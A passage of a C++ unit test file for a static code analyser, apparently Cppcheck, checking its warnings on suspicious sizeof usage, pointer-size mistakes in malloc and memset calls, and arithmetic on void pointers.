MACRO((unsigned int *)data + 4);\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n }\n\n void sizeofFunction() {\n check(\"class Foo\\n\"\n \"{\\n\"\n \" int bar() { return 1; };\\n\"\n \"}\\n\"\n \"Foo f;int a=sizeof(f.bar());\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (warning) Found function call inside sizeof(). [sizeofFunctionCall]\\n\", errout_str());\n\n check(\"class Foo\\n\"\n \"{\\n\"\n \" int bar() { return 1; };\\n\"\n \" int bar() const { return 1; };\\n\"\n \"}\\n\"\n \"Foo f;int a=sizeof(f.bar());\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo\\n\"\n \"{\\n\"\n \" int bar() { return 1; };\\n\"\n \"}\\n\"\n \"Foo * fp;int a=sizeof(fp->bar());\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (warning) Found function call inside sizeof(). [sizeofFunctionCall]\\n\", errout_str());\n\n check(\"int a=sizeof(foo());\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() { return 1; }; int a=sizeof(foo());\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (warning) Found function call inside sizeof(). [sizeofFunctionCall]\\n\", errout_str());\n\n check(\"int foo() { return 1; }; sizeof(decltype(foo()));\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int) { return 1; }; int a=sizeof(foo(0))\");\n ASSERT_EQUALS(\"[test.cpp:1:35]: (warning) Found function call inside sizeof(). [sizeofFunctionCall]\\n\", errout_str());\n\n check(\"char * buf; int a=sizeof(*buf);\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int a=sizeof(foo())\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int) { return 1; }; char buf[1024]; int a=sizeof(buf), foo(0)\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"struct A\\n\"\n \"{\\n\"\n \" static B f(const B &);\\n\"\n \" static A f(const A &);\\n\"\n \" static A &g();\\n\"\n \" static T &h();\\n\"\n \"\\n\"\n \" enum {\\n\"\n \" X = sizeof(f(g() >> h())) == sizeof(A),\\n\"\n \" Y = sizeof(f(g() << h())) == sizeof(A),\\n\"\n \" Z = X & Y\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"size_t f1() { return sizeof(x[0]); }\\n\"\n \"size_t f2() { return sizeof(g()); }\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:22]: (warning) Found function call inside sizeof(). [sizeofFunctionCall]\\n\", errout_str());\n }\n\n void sizeofForArrayParameter() {\n check(\"void f() {\\n\"\n \" int a[10];\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned int a = 2;\\n\"\n \" unsigned int b = 2;\\n\"\n \" int c[(a+b)];\\n\"\n \" std::cout << sizeof(c) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned int a = { 2 };\\n\"\n \" unsigned int b[] = { 0 };\\n\"\n \" int c[a[b[0]]];\\n\"\n \" std::cout << sizeof(c) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void f() {\\n\"\n \" unsigned int a[] = { 1 };\\n\"\n \" unsigned int b = 2;\\n\"\n \" int c[(a[0]+b)];\\n\"\n \" std::cout << sizeof(c) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[] = { 1, 2, 3 };\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[3] = { 1, 2, 3 };\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f( int a[]) {\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Using 'sizeof' on array given as \"\n \"function argument returns size of a pointer. [sizeofwithsilentarraypointer]\\n\", errout_str());\n\n check(\"void f( int a[]) {\\n\"\n \" std::cout << sizeof a / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Using 'sizeof' on array given as \"\n \"function argument returns size of a pointer. [sizeofwithsilentarraypointer]\\n\", errout_str());\n\n check(\"void f( int a[3] ) {\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Using 'sizeof' on array given as \"\n \"function argument returns size of a pointer. [sizeofwithsilentarraypointer]\\n\", errout_str());\n\n check(\"typedef char Fixname[1000];\\n\"\n \"int f2(Fixname& f2v) {\\n\"\n \" int i = sizeof(f2v);\\n\"\n \" printf(\\\"sizeof f2v %d\\\", i);\\n\"\n \" }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *p) {\\n\"\n \" p[0] = 0;\\n\"\n \" int unused = sizeof(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char p[] = \\\"test\\\";\\n\"\n \" int unused = sizeof(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #2495\n check(\"void f() {\\n\"\n \" static float col[][3]={\\n\"\n \" {1,0,0},\\n\"\n \" {0,0,1},\\n\"\n \" {0,1,0},\\n\"\n \" {1,0,1},\\n\"\n \" {1,0,1},\\n\"\n \" {1,0,1},\\n\"\n \" };\\n\"\n \" const int COL_MAX=sizeof(col)/sizeof(col[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #155\n check(\"void f() {\\n\"\n \" char buff1[1024*64],buff2[sizeof(buff1)*2];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #2510\n check(\"void f( int a[], int b) {\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Using 'sizeof' on array given as \"\n \"function argument returns size of a pointer. [sizeofwithsilentarraypointer]\\n\", errout_str());\n\n // ticket #2510\n check(\"void f( int a[3] , int b[2] ) {\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Using 'sizeof' on array given as \"\n \"function argument returns size of a pointer. [sizeofwithsilentarraypointer]\\n\", errout_str());\n\n // ticket #2510\n check(\"void f() {\\n\"\n \" char buff1[1024*64],buff2[sizeof(buff1)*(2+1)];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void sizeofForNumericParameter() {\n check(\"void f() {\\n\"\n \" std::cout << sizeof(10) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Suspicious usage of 'sizeof' with a numeric constant as parameter. [sizeofwithnumericparameter]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << sizeof(-10) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Suspicious usage of 'sizeof' with a numeric constant as parameter. [sizeofwithnumericparameter]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << sizeof 10 << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Suspicious usage of 'sizeof' with a numeric constant as parameter. [sizeofwithnumericparameter]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << sizeof -10 << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Suspicious usage of 'sizeof' with a numeric constant as parameter. [sizeofwithnumericparameter]\\n\", errout_str());\n }\n\n void suspiciousSizeofCalculation() {\n check(\"void f() {\\n\"\n \" int* p;\\n\"\n \" return sizeof(p)/5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning, inconclusive) Division of result of sizeof() on pointer type. [divideSizeof]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unknown p;\\n\"\n \" return sizeof(p)/5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" return sizeof(unknown)/5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int p;\\n\"\n \" return sizeof(p)/5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int* p[5];\\n\"\n \" return sizeof(p)/5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void f() {\\n\"\n \" return sizeof(foo)*sizeof(bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning, inconclusive) Multiplying sizeof() with sizeof() indicates a logic error. [multiplySizeof]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return (foo)*sizeof(bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" return sizeof(foo)*bar;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" return (end - source) / sizeof(encode_block_type) * sizeof(encode_block_type);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { T* t; };\\n\" // #10179\n \"int f(S* s) {\\n\"\n \" return g(sizeof(*s->t) / 4);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const char* a[N];\\n\"\n \" for (int i = 0; i < (int)(sizeof(a) / sizeof(char*)); i++) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int** p) {\\n\"\n \" return sizeof(p[0]) / 4;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Division of result of sizeof() on pointer type. [divideSizeof]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" unsigned char* s;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s[38];\\n\"\n \"};\\n\"\n \"void f(T* t) {\\n\"\n \" for (size_t i = 0; i < sizeof(t->s) / sizeof(t->s[0]); i++) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" struct T {\\n\"\n \" char* c[3];\\n\"\n \" } t[1];\\n\"\n \"};\\n\"\n \"void f(S* s) {\\n\"\n \" for (int i = 0; i != sizeof(s->t[0].c) / sizeof(char*); i++) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int32_t* buf, size_t len) {\\n\"\n \" for (int i = 0; i < len / sizeof(buf[0]); i++) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int32_t*** buf, size_t len) {\\n\"\n \" for (int i = 0; i < len / sizeof(**buf[0]); i++) {}\\n\"\n \" for (int i = 0; i < len / sizeof(*buf[0][0]); i++) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkPointerSizeof() {\n check(\"void f() {\\n\"\n \" char *x = malloc(10);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(*x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = (int*)malloc(sizeof(x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = static_cast(malloc(sizeof(x)));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(&x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int*));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" free(x);\\n\"\n \" int **y = malloc(sizeof(int*));\\n\"\n \" free(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(100 * sizeof(x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(x) * 100);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof *x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(100 * sizeof x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = calloc(1, sizeof(*x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = calloc(1, sizeof *x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = calloc(1, sizeof(x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = calloc(1, sizeof x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = calloc(1, sizeof(int));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char x[10];\\n\"\n \" memset(x, 0, sizeof(x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char* x[10];\\n\"\n \" memset(x, 0, sizeof(x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char x[10];\\n\"\n \" memset(x, 0, sizeof x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" memset(x, 0, sizeof(int));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" memset(x, 0, sizeof(*x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" memset(x, 0, sizeof *x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" memset(x, 0, sizeof x);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" memset(x, 0, sizeof(x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int) * 10);\\n\"\n \" memset(x, 0, sizeof(x) * 10);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int) * 10);\\n\"\n \" memset(x, 0, sizeof x * 10);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int) * 10);\\n\"\n \" memset(x, 0, sizeof(*x) * 10);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int) * 10);\\n\"\n \" memset(x, 0, sizeof *x * 10);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int) * 10);\\n\"\n \" memset(x, 0, sizeof(int) * 10);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\n \"int fun(const char *buf1)\\n\"\n \"{\\n\"\n \" const char *buf1_ex = \\\"foobarbaz\\\";\\n\"\n \" return strncmp(buf1, buf1_ex, sizeof(buf1_ex)) == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:24]: (warning) Size of pointer 'buf1_ex' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\n \"int fun(const char *buf1) {\\n\"\n \" return strncmp(buf1, foo(buf2), sizeof(buf1)) == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Size of pointer 'buf1' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"int fun(const char *buf2) {\\n\"\n \" return strncmp(buf1, buf2, sizeof(char*)) == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:24]: (warning) Size of pointer 'buf2' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n // #ticket 3874\n check(\"void f()\\n\"\n \"{\\n\"\n \" int * pIntArray[10];\\n\"\n \" memset(pIntArray, 0, sizeof(pIntArray));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void FreeFileName(const char *s) {\\n\"\n \" CxString tbuf;\\n\"\n \" const char *p;\\n\"\n \" memcpy(s, siezof(s));\\n\" // non-standard memcpy\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" module_config_t *tab = module;\\n\"\n \" memset(tab + confsize, 0, sizeof(tab[confsize]));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(char* aug) {\\n\"\n \" memmove(aug + extra_string, aug, buf - (bfd_byte *)aug);\\n\" // #7100\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7518\n check(\"bool create_iso_definition(cpp_reader *pfile, cpp_macro *macro) {\\n\"\n \" cpp_token *token;\\n\"\n \" cpp_hashnode **params = malloc(sizeof(cpp_hashnode *) * macro->paramc);\\n\"\n \" memcpy(params, macro->params, sizeof(cpp_hashnode *) * macro->paramc);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void* foo() {\\n\"\n \" void* AtomName = malloc(sizeof(char *) * 34);\\n\"\n \" return AtomName;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkPointerSizeofStruct() {\n check(\"void f() {\\n\"\n \" struct foo *ptr;\\n\"\n \" memset( ptr->bar, 0, sizeof ptr->bar );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct foo {\\n\"\n \" char bar[10];\\n\"\n \" }* ptr;\\n\"\n \" memset( ptr->bar, 0, sizeof ptr->bar );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct foo {\\n\"\n \" char *bar;\\n\"\n \" }* ptr;\\n\"\n \" memset( ptr->bar, 0, sizeof ptr->bar );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (warning) Size of pointer 'bar' used instead of size of its data. [pointerSize]\\n\", errout_str());\n }\n\n void sizeofDivisionMemset() {\n check(\"void foo(memoryMapEntry_t* entry, memoryMapEntry_t* memoryMapEnd) {\\n\"\n \" memmove(entry, entry + 1, (memoryMapEnd - entry) / sizeof(entry));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:56]: (warning, inconclusive) Division of result of sizeof() on pointer type. [divideSizeof]\\n\"\n \"[test.cpp:2:54]: (warning) Division by result of sizeof(). memmove() expects a size in bytes, did you intend to multiply instead? [sizeofDivisionMemfunc]\\n\",\n errout_str());\n\n check(\"Foo* allocFoo(int num) {\\n\"\n \" return malloc(num / sizeof(Foo));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (warning) Division by result of sizeof(). malloc() expects a size in bytes, did you intend to multiply instead? [sizeofDivisionMemfunc]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char str[100];\\n\"\n \" strncpy(str, xyz, sizeof(str)/sizeof(str[0]));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #9648\n \" int a[5] = { 0 };\\n\"\n \" int b[5];\\n\"\n \" memcpy(b, a, ((sizeof(a) / sizeof(a[0])) - 1) * sizeof(a[0]));\\n\"\n \" memcpy(b, a, sizeof(a[0]) * ((sizeof(a) / sizeof(a[0])) - 1));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sizeofVoid() {\n check(\"void f() {\\n\"\n \" int size = sizeof(void);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (portability) Behaviour of 'sizeof(void)' is not covered by the ISO C standard. [sizeofVoid]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* p;\\n\"\n \" int size = sizeof(*p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (portability) '*p' is of type 'void', the behaviour of 'sizeof(void)' is not covered by the ISO C standard. [sizeofDereferencedVoidPointer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* p = malloc(10);\\n\"\n \" int* p2 = p + 4;\\n\"\n \" int* p3 = p - 1;\\n\"\n \" int* p4 = 1 + p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (portability) 'p' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\"\n \"[test.cpp:4:15]: (portability) 'p' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\"\n \"[test.cpp:5:15]: (portability) 'p' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* p1 = malloc(10);\\n\"\n \" void* p2 = malloc(5);\\n\"\n \" p1--;\\n\"\n \" p2++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (portability) 'p1' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\"\n \"[test.cpp:5:5]: (portability) 'p2' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* p1 = malloc(10);\\n\"\n \" void* p2 = malloc(5);\\n\"\n \" p1-=4;\\n\"\n \" p2+=4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (portability) 'p1' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\"\n \"[test.cpp:5:5]: (portability) 'p2' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* p = malloc(10);\\n\"\n \" int* p2 = &p + 4;\\n\"\n \" int* p3 = &p - 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void** p1 = malloc(10);\\n\"\n \" p1--;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void** p1;\\n\"\n \" int j = sizeof(*p1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* p1[5];\\n\"\n \" int j = sizeof(*p1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Calculations on void* with casts\n\n check(\"void f(void *data) {\\n\"\n \" *((unsigned char *)data + 1) = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void *data) {\\n\"\n \" *((unsigned char *)(data) + 1) = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void *data) {\\n\"\n \" unsigned char* c = (unsigned char *)(data + 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:45]: (portability) 'data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"void f(void *data) {\\n\"\n \" unsigned char* c = (unsigned char *)data++;\\n\"\n \" unsigned char* c2 = (unsigned char *)++data;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:43]: (portability) 'data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\"\n \"[test.cpp:3:40]: (portability) 'data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"void f(void *data) {\\n\"\n \" void* data2 = data + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (portability) 'data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n // #4908 (void pointer as a member of a struct/class)\n check(\"struct FOO {\\n\"\n \" void *data;\\n\"\n \"};\\n\"\n \"char f(struct FOO foo) {\\n\"\n \" char x = *((char*)(foo.data+1));\\n\"\n \" foo.data++;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:30]: (portability) 'foo.data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\"\n \"[test.cpp:6:11]: (portability) 'foo.data' is of type 'void *'. When using void pointers in calculations, the behaviour is undefined. [arithOperationsOnVoidPointer]\\n\", errout_str());\n\n check(\"struct FOO {\\n\"\n \" void *data;\\n\"\n \"};\\n\"\n \"char f(struct FOO foo) {\\n\"\n \" char x = *((char*)foo.data+1);\\n\"\n \" return x;\\n\"\n \"}\\n\"\n \"char f2(struct FOO foo) {\\n\"\n \" char x = *((char*)((FOO)foo).data + 1);\\n\"\n \" return x;\\n\"\n \"}\\n\"\n \"char f3(struct FOO* foo) {\\n\"\n \" char x = *((char*)foo->data + 1);\\n\"\n \" return x;\\n\"\n \"}\\n\"\n \"struct BOO {\\n\"\n \" FOO data;\\n\"\n \"};\\n\"\n \"void f4(struct BOO* boo) {\\n\"\n \" char c = *((char*)boo->data.data + 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct FOO {\\n\"\n \" void *data;\\n\"\n \"};\\n\"\n \"char f(struct FOO* foo) {\\n\"\n \" *(foo[1].data + 1) = 0;\\n\"\n 